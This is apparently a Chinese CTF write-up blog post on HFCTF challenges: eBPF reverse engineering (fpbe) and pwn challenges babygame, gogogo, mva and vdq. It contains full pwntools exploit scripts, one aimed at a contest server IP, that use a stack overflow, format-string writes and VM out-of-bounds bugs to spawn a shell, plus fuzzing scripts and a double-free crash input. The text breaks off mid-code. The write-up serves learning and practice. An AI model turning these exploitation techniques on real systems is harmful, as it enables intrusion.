前言
姑且参加了比赛,赛题感觉都不错,适当做了个复现。PWN那边还有一道内核没复现,主要是受限于目前笔者的技术水平,内核部分的知识还不太够用,以后有机会了会另外复现的。
最有意思的题目应该是 vdq 那题,属于是佩服做出来的师傅,那个最终的 payload 构造花了我一整天时间,整道题做了有两天半……怎么说呢,好痛苦啊。
另外 fpbe 和 mva 也挺好玩的,前者主要是给我科普了一波 ebpf ,后者主要是笔者觉得自己写的 exp 挺精巧的,自我感觉还行。不过博客的模板似乎不识别五级标题,看着确实有点不舒服了……
也欢迎师傅们捉虫。
REV
fpbe
第一次接触ebfp的逆向,才知道其原理和分析方式(上次D3的那题ebfp没看)。
主要逻辑只有几行:
1 2 3 4 5
| err = uprobed_function(*array, array[1], array[2], array[3]); if ( err == 1 ) printf("flag: HFCTF{%s}\n", flag, &flag[12], v7, v8, v9, argv); else puts("not flag");
|
但比赛的时候因为对ebfp的执行逻辑不熟悉,以及IDA动调的时候没能真正模拟其执行流,以至于没能顺利写完这道逆向签到题。
执行逻辑
ebfp通过bpf_program__attach_uprobe将上述uprobed_function函数hook掉了:
1 2 3 4 5 6
| skel->links.uprobe = bpf_program__attach_uprobe( skel->progs.uprobe, 0, 0, "/proc/self/exe", uprobed_function - base_addr);
|
当程序执行uprobed_function函数时,会通过内核的系统调用转移到hook的函数去。
跟踪skel向下:
1 2
| fpbe_bpf__open_and_load->fpbe_bpf__open-> fpbe_bpf__open_opts->fpbe_bpf__create_skeleton
|
fpbe_bpf__create_skeleton中创建uprobe的具体内容如下:
1 2 3 4 5 6 7 8 9
| if ( s->progs ) { s->progs->name = "uprobe"; s->progs->prog = &obj->progs.uprobe; s->progs->link = &obj->links.uprobe; s->data_sz = 1648LL; s->data = &unk_4F4018; result = 0; }
|
其中data是最终的执行代码,size为对应比特大小。
接下来用gdb将其加载到内存,然后就可以用bpftool去dump出具体内容了:(有删减)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
| 0: (79) r2 = *(u64 *)(r1 +104) //flag[2] 3: (79) r3 = *(u64 *)(r1 +112) //flag[3] 6: (bf) r4 = r3 7: (27) r4 *= 28096 8: (bf) r5 = r2 9: (27) r5 *= 64392 10: (0f) r5 += r4 11: (79) r4 = *(u64 *)(r1 +96) //flag[1] 14: (bf) r0 = r4 15: (27) r0 *= 29179 16: (0f) r5 += r0 17: (79) r1 = *(u64 *)(r1 +88) //flag[0]
24: (bf) r0 = r1 25: (27) r0 *= 52366 26: (0f) r5 += r0 27: (b7) r6 = 1 28: (18) r0 = 0xbe18a1735995 30: (5d) if r5 != r0 goto pc+66 //0xbe18a1735995 == flag[0]*52366 + flag[1]*29179 + flag[2]*64392 + flag[3]*28096
31: (bf) r5 = r3 32: (27) r5 *= 61887 33: (bf) r0 = r2 34: (27) r0 *= 27365 35: (0f) r0 += r5 36: (bf) r5 = r4 37: (27) r5 *= 44499 38: (0f) r0 += r5 39: (bf) r5 = r1 40: (27) r5 *= 37508 41: (0f) r0 += r5 42: (18) r5 = 0xa556e5540340 44: (5d) if r0 != r5 goto pc+52 //0xa556e5540340 == flag[0]*37508 + flag[1]*44499 + flag[2]*27365 + flag[3]*61887
45: (bf) r5 = r3 46: (27) r5 *= 56709 47: (bf) r0 = r2 48: (27) r0 *= 32808 49: (0f) r0 += r5 50: (bf) r5 = r4 51: (27) r5 *= 25901 52: (0f) r0 += r5 53: (bf) r5 = r1 54: (27) r5 *= 59154 55: (0f) r0 += r5 56: (18) r5 = 0xa6f374484da3 58: (5d) if r0 != r5 goto pc+38 //0xa6f374484da3 == flag[0]*59154 + flag[1]*25901 + flag[2]*32808 + flag[3]*56709
59: (bf) r5 = r3 60: (27) r5 *= 33324 61: (bf) r0 = r2 62: (27) r0 *= 51779 63: (0f) r0 += r5 64: (bf) r5 = r4 65: (27) r5 *= 31886 66: (0f) r0 += r5 67: (bf) r5 = r1 68: (27) r5 *= 62010 69: (0f) r0 += r5 70: (18) r5 = 0xb99c485a7277 72: (5d) if r0 != r5 goto pc+24 //0xb99c485a7277 == flag[0]*62010 + flag[1]*31886 + flag[2]*51779 + flag[3]*33324
|
最后解一下上述方程组即可拿到flag。
PWN
babygame
栈溢出先把srand的种子写掉,顺便泄露一个栈地址,然后就能算出之后的返回地址在栈中的位置了。然后用格式化字符串把返回地址写掉,再来一次格式化字符串。途中也顺便泄露一个libc地址,然后就能算出libc基址了,加上one_gadget再写回返回地址即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| from pwn import * import random from ctypes import * context.log_level='debug' context.arch = "x86_64"
#p=process("./babygame",env={'LD_PRELOAD':'./libc-2.31.so'}) p=remote("120.25.205.249",37062) #elf=ELF("./babygame") libc = cdll.LoadLibrary('libc.so.6') #gdb.attach(p,"b*$rebase(0x1435)\nc\n")
sla=lambda a,b:p.sendlineafter(a.encode(),b) sa=lambda a,b:p.sendafter(a.encode(),b)
sa("name:","a"*256+"a"*8+"a") p.recvuntil("Hello, ") leakdata=p.recvuntil("\x0a")[-15:-1] print((leakdata))
canary=u64(leakdata[:-6].ljust(8,"\x00"))-0x61 stack_test=u64(leakdata[8:].ljust(8,"\x00"))
print(hex(canary)) print(hex(stack_test)) ogd=[0xe3b2e,0xe3b31,0xe3b34]
libc.srand(0x61616161) p.recvuntil("paper") sleep(1) for i in range(100): temp=libc.rand()%3 print("now temp:"+hex(temp)) if(temp==0): temp=1 elif(temp==1): temp=2 elif(temp==2): temp=0 sla("round",str(temp))
offset=6 stack_ret=stack_test+(0x7ffcbd0edfd8-0x7ffcbd0ee1f0) print(hex(stack_ret)) sleep(2) payload="%62c"+"%8$hhn"+"%9$p%p"+p64(stack_ret) sla("luck",payload) sleep(2)
p.recvuntil("0x") data=int("0x"+(p.recv(12)),16) print(hex(data)) libc_base=data-(0x7fead012bd0a-0x7fead00ca000) print(hex(libc_base)) one_gad=libc_base+ogd[1]
payload = fmtstr_payload(6, {stack_ret: one_gad},write_size='byte') sla("luck",payload)
p.interactive()
|
gogogo
这题没做出来实属不应该,真没想到出题人会用这么恶心人的方式混淆(指一个个字符打印,以及拐弯抹角地硬是把简单的栈溢出藏在尾巴,搞得我这种习惯从上往下分析的累得半死不活,还以为漏洞肯定会在那个选择输入或输出的地方,属实是被整无语了)……
主要是 golang 中传参的方式不太一样,其中有几个值得注意的输入函数,在我们恢复传参符号以后可以看见:
1 2 3 4
| fmt_Fscanf("%d"); bufio___ptr_Reader__Read(qword_5514E0, v4, 0x200); bufio___ptr_Reader__Read(qword_5514E0, buf, 0x800); bufio___ptr_Reader__Read(qword_5514E0, v63, 0x20);
|
只需要在 IDA 中将这下函数的参数列表设定好,重新反编译即可看见。因为 golang 的传参方式和常规的 x86_64 不太一样,所以默认情况下 IDA 没有正常识别的参数。
然后就能注意到,有一个输入的长度是 0x800,而 buf 直接被 IDA 识别到了:
1
| char buf[8]; // [rsp+70h] [rbp-460h] BYREF
|
而 buf 下面也没有很多缓冲区,所以直接让程序执行到这里,然后正常用 ROP 拿 shell 即可。
顺便一提,真正的主函数是 math_init 函数,出题人拐弯抹角的弄了很多混淆视听的东西。
输入序列如下:
- 1416925456
- 通过游戏
- E
- 4
- payload
exp 没太多技术含量,主要就是需要去跑那个小游戏,网上搜一下就能找到脚本了,所以这里就不放了。
mva
程序分析
逻辑很简单,输入虚拟机字节码然后就会开始执行了。
注意到 IDA 打开之后分析的错误,通过汇编就能发现是由于 switch 的优化符号表导致,适当修复符号表后可以得到如下反汇编代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122
| while ( v5 ) { v7 = sub_11E9(); v6 = HIBYTE(v7); if ( v6 > 0xFu ) break; if ( v6 <= 0xFu ) { switch ( v6 ) { case 0u: // nop v5 = 0; goto LABEL_102; case 1u: // ldr reg,val if ( SBYTE2(v7) > 5 (v7 & 0x800000) != 0 ) exit(0); *(® + SBYTE2(v7)) = v7; goto LABEL_102; case 2u: // add if ( SBYTE2(v7) > 5 (v7 & 0x800000) != 0 ) exit(0); if ( SBYTE1(v7) > 5 (v7 & 0x8000) != 0 ) exit(0); if ( v7 > 5 (v7 & 0x80u) != 0 ) exit(0); *(® + SBYTE2(v7)) = *(® + SBYTE1(v7)) + *(® + v7); goto LABEL_102; case 3u: // sub if ( SBYTE2(v7) > 5 (v7 & 0x800000) != 0 ) exit(0); if ( SBYTE1(v7) > 5 (v7 & 0x8000) != 0 ) exit(0); if ( v7 > 5 (v7 & 0x80u) != 0 ) exit(0); *(® + SBYTE2(v7)) = *(® + SBYTE1(v7)) - *(® + v7); goto LABEL_102; case 4u: // and if ( SBYTE2(v7) > 5 (v7 & 0x800000) != 0 ) exit(0); if ( SBYTE1(v7) > 5 (v7 & 0x8000) != 0 ) exit(0); if ( v7 > 5 (v7 & 0x80u) != 0 ) exit(0); *(® + SBYTE2(v7)) = *(® + SBYTE1(v7)) & *(® + v7); goto LABEL_102; case 5u: // or if ( SBYTE2(v7) > 5 (v7 & 0x800000) != 0 ) exit(0); if ( SBYTE1(v7) > 5 (v7 & 0x8000) != 0 ) exit(0); if ( v7 > 5 (v7 & 0x80u) != 0 ) exit(0); *(® + SBYTE2(v7)) = *(® + SBYTE1(v7)) *(® + v7); goto LABEL_102; case 6u: // shr if ( SBYTE2(v7) > 5 (v7 & 0x800000) != 0 ) exit(0); if ( SBYTE1(v7) > 5 (v7 & 0x8000) != 0 ) exit(0); *(® + SBYTE2(v7)) = *(® + SBYTE2(v7)) >> *(® + SBYTE1(v7)); goto LABEL_102; case 7u: if ( SBYTE2(v7) > 5 (v7 & 0x800000) != 0 ) exit(0); if ( SBYTE1(v7) > 5 (v7 & 0x8000) != 0 ) exit(0); if ( v7 > 5 (v7 & 0x80u) != 0 ) exit(0); *(® + SBYTE2(v7)) = *(® + SBYTE1(v7)) ^ *(® + v7); goto LABEL_102; case 8u: JUMPOUT(0x1780LL); case 9u: // push if ( espr > 256 ) exit(0); if ( BYTE2(v7) ) stack[espr] = v7; else stack[espr] = reg; ++espr; goto LABEL_102; case 0xAu: // pop if ( SBYTE2(v7) > 5 (v7 & 0x800000) != 0 ) exit(0); if ( !espr ) exit(0); *(® + SBYTE2(v7)) = stack[--espr]; goto LABEL_102; case 0xBu: v8 = sub_11E9(); if ( v4 == 1 ) dword_403C = v8; goto LABEL_102; case 0xCu: // cmp if ( SBYTE2(v7) > 5 (v7 & 0x800000) != 0 ) exit(0); if ( SBYTE1(v7) > 5 (v7 & 0x8000) != 0 ) exit(0); v4 = *(® + SBYTE2(v7)) == *(® + SBYTE1(v7)); goto LABEL_102; case 0xDu: // mul if ( SBYTE2(v7) > 5 (v7 & 0x800000) != 0 ) exit(0); if ( v7 > 5 (v7 & 0x80u) != 0 ) exit(0); *(® + SBYTE2(v7)) = *(® + SBYTE1(v7)) * *(® + v7); goto LABEL_102; case 0xEu: // mov if ( SBYTE2(v7) > 5 (v7 & 0x800000) != 0 ) exit(0); if ( SBYTE1(v7) > 5 ) exit(0); *(® + SBYTE1(v7)) = *(® + SBYTE2(v7)); goto LABEL_102; case 0xFu: // print stack printf("%d\n", stack[espr]); goto LABEL_102; default: goto LABEL_103; } } }
|
除了字节码为 0x8 的指令外,基本都分析出来了。代码并不复杂,说是虚拟机其实也并没有做非常复杂的封装,基本上不会有阅读障碍,不过由于 IDA 自带的一些宏定义不太方便理解,这里以 ldr 指令为例:
1 2 3 4
| .text:0000000000001421 movsx eax, [rbp+var_249] .text:0000000000001428 cdqe .text:000000000000142A movzx edx, [rbp+var_23E] .text:0000000000001431 mov word ptr [rbp+rax*2+reg], dx
|
var_249 处是目标寄存器编号,var_23E 处是目标操作数。这种写法经由 IDA 表现为 SBYTE2 ,所以如果觉得阅读不顺,可以直接通过汇编理解。
漏洞分析
注意到像是 add 或者 sub 这种有三个操作数的指令都会先检测操作数是否合法,而 mul 指令却没有:
1 2 3 4 5 6
| case 0xDu: // mul if ( SBYTE2(v7) > 5 (v7 & 0x800000) != 0 ) exit(0); if ( v7 > 5 (v7 & 0x80u) != 0 ) exit(0); *(® + SBYTE2(v7)) = *(® + SBYTE1(v7)) * *(® + v7);
|
该指令只检查了目标寄存器和源寄存器中的一个,举例来说就是
mul r3,r2,r1
只检查了 r3 和 r1。因此 r2 的值可以越界读取(oob read)。
类似的,mov指令也是如此:
1 2 3 4 5 6 7
| case 0xEu: // mov if ( SBYTE2(v7) > 5 (v7 & 0x800000) != 0 ) exit(0); if ( SBYTE1(v7) > 5 ) exit(0); *(® + SBYTE1(v7)) = *(® + SBYTE2(v7)); goto LABEL_102;
|
其没有检查高位,即可以使得目标操作数向负数溢出,类似于:
mov r1,r2
r1 和 r2 都不能超过 4 ,但 r1 有可能是负数,存在越界写(oob write),不过需要注意,这个只能向低地址越界,因此利用仍然有限。
由此一来基本也能有利用思路了:
- 通过越界读以及打印栈数据泄露 libc_base
- 通过越界写控制执行流
Attack Test
首先我们需要尝试泄露地址,通过 mul 指令向上读取一块 libc 中的地址:
1 2 3
| payload+=ldr(0x1)+mul(0,-0x12+4,0)+push(1) payload+=ldr(0x1)+mul(0,-0x12+5,0)+push(1) payload+=ldr(0x1)+mul(0,-0x12+6,0)+push(1)
|
通过 ldr 指令将 1 加载到 r0,然后用 mul 读取上方地址之后乘以 1 仍为原数,将其放入栈中,重复三次就能完整的得到一个地址。
但需要注意,接下来我们似乎理所应当地要用 print 把栈中数据打印出来,笔者开始也这么想,但如果您这么做了,就意味着接下来需要写返回地址为 main 函数,那么您本次就应该泄露 ELF 基址,然后通过多次返回来利用,这很麻烦,对吗?
于是笔者换了一个思路,既然它已经读到了一块地址,我们能不能直接让它自己算出 one_gadget 的地址?这样我们直接写返回地址到 one_gadget 就能一次性拿下了,能省去很多麻烦。
因此接下来我们直接在虚拟机里计算地址:
1 2 3
| payload+=pop(1) payload+=pop(2)+ldr(0x11)+sub(2,2,0) payload+=pop(3)+ldr(0xBB10)+add(3,3,0)
|
既然已经有了地址,接下来就只需要完成返回地址覆盖即可:
1 2 3 4 5 6 7
| #esp=0x800000000000010c payload+=ldr(0x010C)+mv(0,-10) payload+=ldr(0x0000)+mv(0,-9) payload+=ldr(0x0000)+mv(0,-8) payload+=ldr(0x8000)+mv(0,-7)
payload+=mv(3,0)+push(1)+mv(2,0)+push(1)+mv(1,0)+push(1)
|
将虚拟机中的 esp 改为 0x800000000000010c 来绕过其数值检查,而在写内存时会通过乘以 2 的方式导致整数溢出:
1
| mov [rbp+rax*2+stack], dx
|
最后只需要正常的将我们已经放在寄存器中的返回地址一次覆盖返回地址即可。
完整EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| from pwn import * context.log_level='debug' p=process("./mva",env={'LD_PRELOAD':'./libc-2.31.so'}) elf=ELF("./mva") libc=elf.libc
#gdb.attach(p,"b*$rebase(0x17DC)\n") def pack(op:int, p1:int = 0, p2:int = 0, p3:int = 0) -> bytes: return (op&0xff).to_bytes(1,'little') + \ (p1&0xff).to_bytes(1,'little') + \ (p2&0xff).to_bytes(1,'little') + \ (p3&0xff).to_bytes(1,'little')
def ldr(val):#2 byte return pack(0x01, 0, val >> 8, val) def add(p1, p2, p3): return pack(0x02, p1, p2, p3) def sub(p1, p2, p3): return pack(0x03, p1, p2, p3) def shr(p1, p2): return pack(0x06, p1, p2) def xor(p1, p2, p3): return pack(0x07, p1, p2, p3) def push(p1): return pack(0x09, 0,0,p1) def pop(p1): return pack(0x0a, p1) def mul(p1, p2, p3):#leak return pack(0x0D, p1, p2, p3) def mv(p1, p2): return pack(0x0E, p1, p2) def sh(): return pack(0x0F)
payload=b'' payload+=ldr(0x1)+mul(0,-0x12+4,0)+push(1) payload+=ldr(0x1)+mul(0,-0x12+5,0)+push(1) payload+=ldr(0x1)+mul(0,-0x12+6,0)+push(1) payload+=pop(1) payload+=pop(2)+ldr(0x11)+sub(2,2,0) payload+=pop(3)+ldr(0xBB10)+add(3,3,0) payload+=ldr(0x010C)+mv(0,-10) payload+=ldr(0x0000)+mv(0,-9) payload+=ldr(0x0000)+mv(0,-8) payload+=ldr(0x8000)+mv(0,-7) payload+=mv(3,0)+push(1)+mv(2,0)+push(1)+mv(1,0)+push(1) payload=payload.ljust(0x100,b'\0') p.sendline(payload) p.interactive()
|
但请注意,这个 exp 并不是百分比成功。由于每次运算只能对两字节进行,因此在低位进行运算时可以向上溢出一位,导致第二个地址和期望地址差了 1 ,但这属于误差,多跑几次就能成功。
vdq
逻辑分析
二进制程序是由rust写的,IDA的反编译结果显得非常混乱。
跑起来后没有提示任何操作,只能根据IDA推测其提供的服务。
根据函数名,我们能够大致推测出程序的逻辑,main函数的主要代码只有两行:
1 2
| vdq::get_opr_lst::h470c4d46db5f8252(&v0);//读取opr vdq::handle_opr_lst::h7fb2393547b96358(v1.buf.alloc.gap0);//处理opr
|
进入get_opr_lst之后,注意到如下代码:
1 2
| core::result::Result<alloc::vec::Vec<vdq::Operation>,serde_json::error::Error> v29; serde_json::de::from_str::h2ed086b1a84205ca(&v29, v12);
|
因此我们就可以推测,程序提供了一个反序列化服务,v29是其对象。
接下来就向下搜索反序列化的关键字和翻译格式。
顺着如下函数向下搜索:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| vdq::get_opr_lst::h470c4d46db5f8252(&v0);
serde_json::de::from_str::h2ed086b1a84205ca(&v29, v12);
serde_json::de::from_trait::h010df4f45829b4ad(retstr, read);
serde::de::impls::_$LT$impl$u20$serde..de..Deserialize$u20$for$u20$alloc..vec..Vec$LT$T$GT$$GT$::deserialize::h3d140fae89f3cb33
_$LT$$RF$mut$u20$serde_json..de..Deserializer$LT$R$GT$$u20$as$u20$serde..de..Deserializer$GT$::deserialize_seq::hbd3934c1f9eb2161
_$LT$serde..de..impls..$LT$impl$u20$serde..de..Deserialize$u20$for$u20$alloc..vec..Vec$LT$T$GT$$GT$..deserialize..VecVisitor$LT$T$GT$$u20$as$u20$serde..de..Visitor$GT$::visit_seq::h004d517e1abba1bd
serde::de::SeqAccess::next_element::h66a6a37c3fe5b12c
_$LT$serde_json..de..SeqAccess$LT$R$GT$$u20$as$u20$serde..de..SeqAccess$GT$::next_element_seed::hdf4677aba76d625b
_$LT$core..marker..PhantomData$LT$T$GT$$u20$as$u20$serde..de..DeserializeSeed$GT$::deserialize::ha3e4760fc98c681a
vdq::_::_$LT$impl$u20$serde..de..Deserialize$u20$for$u20$vdq..Operation$GT$::deserialize::h5d3aaf882e3017d5
_$LT$$RF$mut$u20$serde_json..de..Deserializer$LT$R$GT$$u20$as$u20$serde..de..Deserializer$GT$::deserialize_enum::h4c7b4e2d01c35d8
_$LT$vdq.._..$LT$impl$u20$serde..de..Deserialize$u20$for$u20$vdq..Operation$GT$..deserialize..__Visitor$u20$as$u20$serde..de..Visitor$GT$::visit_enum::he6941ccdf9c46f1c
serde::de::EnumAccess::variant::hc394608857e1e375
_$LT$serde_json..de..UnitVariantAccess$LT$R$GT$$u20$as$u20$serde..de..EnumAccess$GT$::variant_seed::h3111f0a59a2c8909
_$LT$core..marker..PhantomData$LT$T$GT$$u20$as$u20$serde..de..DeserializeSeed$GT$::deserialize::hae2cb777484d7d0f
_$LT$vdq.._..$LT$impl$u20$serde..de..Deserialize$u20$for$u20$vdq..Operation$GT$..deserialize..__Field$u20$as$u20$serde..de..Deserialize$GT$::deserialize::h771926e8bf89d42b
_$LT$$RF$mut$u20$serde_json..de..Deserializer$LT$R$GT$$u20$as$u20$serde..de..Deserializer$GT$::deserialize_identifier::h043dc575c5a1b557
_$LT$$RF$mut$u20$serde_json..de..Deserializer$LT$R$GT$$u20$as$u20$serde..de..Deserializer$GT$::deserialize_str::h8ad76558a0a689aa
_$LT$vdq.._..$LT$impl$u20$serde..de..Deserialize$u20$for$u20$vdq..Operation$GT$..deserialize..__FieldVisitor$u20$as$u20$serde..de..Visitor$GT$::visit_str::h9d16723e30de37b2
|
最终能够在最后一个函数处找到解析关键字:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| core::result::Result<vdq::_::{{impl}}::deserialize::__Field,serde_json::error::Error> *__cdecl _$LT$vdq.._..$LT$impl$u20$serde..de..Deserialize$u20$for$u20$vdq..Operation$GT$..deserialize..__FieldVisitor$u20$as$u20$serde..de..Visitor$GT$::visit_str::h9d16723e30de37b2(core::result::Result<vdq::_::{{impl}}::deserialize::__Field,serde_json::error::Error> *retstr, vdq::_::_{impl}}::deserialize::__FieldVisitor self, _str __value) { _str v3; // rdx _str v4; // rdx _str v5; // rdx _str v6; // rdx _str v7; // rdx unsigned __int64 v8; // r8 unsigned __int64 v9; // rsi core::result::Result<vdq::_::{{impl}}::deserialize::__Field,serde_json::error::Error> *v11; // [rsp+28h] [rbp-30h]
v3.data_ptr = &unk_62AB2; // add v3.length = 3LL; if ( core::str::traits::_$LT$impl$u20$core..cmp..PartialEq$u20$for$u20$str$GT$::eq::he9d7a829c76bba8b(*&retstr, v3) ) { LOWORD(v11) = 0; } else { v4.data_ptr = &byte_62AB5; // remove v4.length = 6LL; if ( core::str::traits::_$LT$impl$u20$core..cmp..PartialEq$u20$for$u20$str$GT$::eq::he9d7a829c76bba8b(*&retstr, v4) ) { LOWORD(v11) = 256; } else { v5.data_ptr = &unk_62ABB; // append v5.length = 6LL; if ( core::str::traits::_$LT$impl$u20$core..cmp..PartialEq$u20$for$u20$str$GT$::eq::he9d7a829c76bba8b( *&retstr, v5) ) { LOWORD(v11) = 512; } else { v6.data_ptr = &unk_62AC1; // archive v6.length = 7LL; if ( core::str::traits::_$LT$impl$u20$core..cmp..PartialEq$u20$for$u20$str$GT$::eq::he9d7a829c76bba8b( *&retstr, v6) ) { LOWORD(v11) = 768; } else { v7.data_ptr = &unk_62AA4; // view v7.length = 4LL; if ( core::str::traits::_$LT$impl$u20$core..cmp..PartialEq$u20$for$u20$str$GT$::eq::he9d7a829c76bba8b( *&retstr, v7) ) { LOWORD(v11) = 1024; } else { serde::de::Error::unknown_variant::hc8291a7390e93cb5( retstr, __PAIR128__(&off_7BD80, v9), __PAIR128__(v8, (&stru_2._marker + 3))); LOBYTE(v11) = 1; } } } } } return v11; }
|
不过需要注意,rust编译后的字符串相互连接,通过长度来确定具体的字符串内容;而IDA的分析会将整个字符串一并解析,以至于难以准确理解代码,具体表现如下:
1 2 3 4
| v3.data_ptr = &unk_62AB2; // add v3.length = 3LL; v4.data_ptr = &byte_62AB5; // remove v4.length = 6LL;
|
字符串在IDA中的样式:
1 2 3 4
| unsigned char ida_chars[] ={ 0x41, 0x64, 0x64, 0x52, 0x65, 0x6D, 0x6F, 0x76, 0x65, 0x41, 0x70, 0x70, 0x65, 0x6E, 0x64}; //AddRemoveAppend
|
根据上述函数能够分析出具体有哪些操作:
1
| Add、Remove、Append、Archive、View
|
并且继续向上跟踪,可以知道其输入格式是:
(事实上如果熟悉反序列化就不用苦恼了,不过笔者也试着搜索过,搜出格式以后直接套也行,不过难道有这种机会,还是试着逆了一下)
1 2
| ["Add","Add","Remove"] $
|
在知道具体的输入以后,就可以尝试fuzz来进行输入测试了。
但笔者不得不在这里提一句,如果您熟悉rust中的enum或实际拥有编译条件的话,在如下函数就能直接找到答案,不需要一步步深入:
1 2 3 4 5 6 7 8 9 10 11 12 13
| // local variable allocation has failed, the output may be wrong! core::result::Result<vdq::Operation,serde_json::error::Error> *__cdecl vdq::_::_$LT$impl$u20$serde..de..Deserialize$u20$for$u20$vdq..Operation$GT$::deserialize::h5d3aaf882e3017d5(core::result::Result<vdq::Operation,serde_json::error::Error> *retstr, serde_json::de::Deserializer<serde_json::read::StrRead> *__deserializer) { __int64 v2; // r9 OVERLAPPED _str v3; // rdx core::marker::PhantomData<&u8> *v4; // r8 vdq::_::_{impl}}::deserialize::__Visitor v6; // [rsp+0h] [rbp-38h]
v3.length = &off_7BD80; v4 = &stru_2._marker + 3; v3.data_ptr = (&stru_2 + 7); return _$LT$$RF$mut$u20$serde_json..de..Deserializer$LT$R$GT$$u20$as$u20$serde..de..Deserializer$GT$::deserialize_enum::h4c7b4e2d01c35d85(retstr,&unk_62AA9,v3,*(&v2 - 1),v6); }
|
阅读函数命deserialize_enum大概能够知道这是rust编译后的enum表示函数,unk_62AA9是其中的数据:
1
| 0000000000062AA9 aOperationaddre db 'OperationAddRemoveAppendArchive'
|
结合 handle_opr_lst 可知对应的代码应该是:
1 2 3 4 5 6
| enum vdq::Operation : __int8{ Add = 0x0, Remove = 0x1, Append = 0x2, Archive = 0x3, View = 0x4};
|
模糊测试
这里参考一下cj神的方法:
1 2 3 4 5 6 7 8 9 10
| # fuzz.sh #!/bin/bash while ((1)) do python ./vdq_input_gen.py > poc cat poc ./vdq if [ $? -ne 0 ]; then break fi done
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| # vdq_input_gen.py #!/usr/bin/env python # coding=utf-8 import random import string operations = "[" def Add(): global operations operations += "\"Add\", " def Remove(): global operations operations += "\"Remove\", " def Append(): global operations operations += "\"Append\", " def View(): global operations operations += "\"View\", " def Archive(): global operations operations += "\"Archive\", " def DoOperations(): print(operations[:-2] + "]") print("$") def DoAdd(message): print(message) def DoAppend(message): print(message) total_ops = random.randint(1, 20) total_adds = 0 total_append = 0 total_remove = 0 total_message = 0 for i in range(total_ops): op = random.randint(0, 4) if op == 0: total_message += 1 total_adds += 1 Add() elif op == 1: total_adds -= 1 Remove() elif op == 2: if total_adds > 0: total_append += 1 total_message += 1 Append() Append() elif op == 3: total_adds = 0 total_append = 0 total_remove = 0 Archive() elif op == 4: View() DoOperations() for i in range(total_message): DoAdd(''.join(random.sample(string.ascii_letters + string.digits, random.randint(1, 40))))
|
不过笔者修改了total_ops的数量,让最后的poc尽可能短一些,否则可能对分析造成额外的负担:
1 2 3 4 5 6 7 8 9
| ["Remove", "Add", "View", "Add", "Add", "Archive", "Add", "Remove", "Append", "Add", "View", "View", "View", "Remove", "Remove", "Add", "Add"] $ L3K9MFZ5Hos ACETa0hO4Hx1Zzwt8Q7vs3fFSI ylFsXgqDKMRLUePjZ6C2YfB3TcxiI5unm vbKotjPBxTmkSyg0rUJ1lheZNVau mP7E8dYDrxFnu2hjWeAHVMcqaCkTgI4N KC9Ba M42AY8Z0UIdwmNHLDeJWit5
|
可以根据poc的逻辑适当缩减操作:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| ["Add", "Add", "Add", "Archive", "Add", "Remove", "Append", "Add", "View", "Remove", "Remove","Add"] $ Add note [1] with message : 1 Add note [2] with message : 2 Add note [3] with message : 3 Archive note [1] Add note [4] with message : 4 Removed note [2] Append with message : 5 Add note [5] with message : 5 Cached notes: -> 35 -> 4 -> 5 Removed note [3] Removed note [4] Add note [6] with message : 6 free(): double free detected in tcache 2
|
功能分析
根据上述的poc和情况可以分析出每条指令的用处。
##### Add
添加一条信息,但该信息总是加入队尾,即便前面的位置空出来也是如此。
##### Remove
删除一条信息,但该信息总是从队头删除。
##### Append
向当前队头的信息中添加额外的信息进行拼接(如上述情况,队头信息由 “3” 转至 “35”)。
##### View
打印当前所有的信息。
##### Archive
从队首获取一个信息,情况于Remove相似,但它并不会将用以储存消息的容器也释放掉,相当于只增加一次 tail。
进一步缩减poc,像Append就明显不太有用,但笔者尝试删除用以显示数据的View时却发现程序正常执行了,这说明View操作是必要的;以及,当笔者试图减少相同数量的Add和Remove时也发现不能等价,因此笔者根据测试得到的最短poc如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| ["Add", "Add", "Add", "Remove", "Add", "Remove","Add", "View","Remove","Add"] $ Add note [1] with message : 1 Add note [2] with message : 2 Add note [3] with message : 3 Removed note [1] Add note [4] with message : 4 Removed note [2] Add note [5] with message : 5 Cached notes: -> 3 -> 4 -> 5 Removed note [3] Add note [6] with message : 6 free(): double free detected in tcache 2
|
但奇怪的是,本该无关紧要的 View 操作却是必要的,如果删去该操作,程序又会继续执行下去,因此再看看源代码中 View 部分的实现:
1 2 3 4 5 6 7
